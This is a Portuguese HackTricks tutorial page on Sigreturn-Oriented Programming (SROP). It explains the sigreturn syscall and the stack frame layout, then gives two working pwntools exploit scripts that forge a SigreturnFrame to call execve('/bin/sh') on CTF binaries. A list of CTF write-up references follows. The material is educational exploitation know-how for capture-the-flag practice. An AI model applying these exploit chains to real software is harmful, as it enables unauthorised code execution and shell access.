SROP - Sigreturn-Oriented Programming
Reading time: 6 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
Informações Básicas
Sigreturn é uma syscall especial que é usada principalmente para limpar após a execução de um manipulador de sinal. Sinais são interrupções enviadas a um programa pelo sistema operacional, frequentemente para indicar que uma situação excepcional ocorreu. Quando um programa recebe um sinal, ele pausa temporariamente seu trabalho atual para lidar com o sinal usando um manipulador de sinal, uma função especial projetada para lidar com sinais.
Após o manipulador de sinal terminar, o programa precisa retomar seu estado anterior como se nada tivesse acontecido. É aqui que sigreturn entra em cena. Ele ajuda o programa a retornar do manipulador de sinal e restaura o estado do programa limpando o quadro de pilha (a seção da memória que armazena chamadas de função e variáveis locais) que foi usado pelo manipulador de sinal.
A parte interessante é como sigreturn restaura o estado do programa: ele faz isso armazenando todos os valores dos registradores da CPU na pilha. Quando o sinal não está mais bloqueado, sigreturn retira esses valores da pilha, efetivamente redefinindo os registradores da CPU para seu estado antes que o sinal fosse tratado. Isso inclui o registrador do ponteiro da pilha (RSP), que aponta para o topo atual da pilha.
caution
Chamar a syscall sigreturn de uma cadeia ROP e adicionar os valores dos registradores que gostaríamos que fossem carregados na pilha torna possível controlar todos os valores dos registradores e, portanto, chamar por exemplo a syscall execve com /bin/sh.
Note como isso seria um tipo de Ret2syscall que torna muito mais fácil controlar parâmetros para chamar outras Ret2syscalls:
Se você está curioso, esta é a estrutura sigcontext armazenada na pilha para recuperar os valores posteriormente (diagrama de aqui):
+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+
Para uma melhor explicação, verifique também:
Exemplo
Você pode encontrar um exemplo aqui onde a chamada para signeturn é construída via ROP (colocando em rxa o valor 0xf), embora este seja o exploit final a partir daí:
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = process()
BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015
frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET
payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
Verifique também o exploit daqui onde o binário já estava chamando sigreturn e, portanto, não é necessário construir isso com um ROP:
from pwn import *
# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)
# Establish the target architecture
context.arch = "amd64"
# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)
# Start making our sigreturn frame
frame = SigreturnFrame()
frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL
payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack
target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
Outros Exemplos & Referências
- https://youtu.be/ADULSwnQs-s?feature=shared
 - https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop
 - https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html
 - Binário em Assembly que permite escrever na pilha e então chama a syscall 
sigreturn. É possível escrever na pilha um ret2syscall via uma estrutura sigreturn e ler a flag que está dentro da memória do binário. - https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html
 - Binário em Assembly que permite escrever na pilha e então chama a syscall 
sigreturn. É possível escrever na pilha um ret2syscall via uma estrutura sigreturn (o binário tem a string/bin/sh). - https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html
 - 64 bits, sem relro, sem canário, nx, sem pie. Simples buffer overflow abusando da função 
getscom falta de gadgets que realiza um ret2syscall. A cadeia ROP escreve/bin/shna.bsschamandogetsnovamente, abusa da funçãoalarmpara definir eax como0xfpara chamar um SROP e executar um shell. - https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html
 - Programa em Assembly de 64 bits, sem relro, sem canário, nx, sem pie. O fluxo permite escrever na pilha, controlar vários registradores e chamar uma syscall e então chama 
exit. A syscall selecionada é umsigreturnque irá definir registradores e movereippara chamar uma instrução de syscall anterior e executarmemprotectpara definir o espaço binário comorwxe definir o ESP no espaço binário. Seguindo o fluxo, o programa chamaráreadpara o ESP novamente, mas neste caso o ESP estará apontando para a próxima instrução, então passando um shellcode irá escrevê-lo como a próxima instrução e executá-lo. - https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection
 - SROP é usado para dar privilégios de execução (memprotect) ao local onde um shellcode foi colocado.
 
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
HackTricks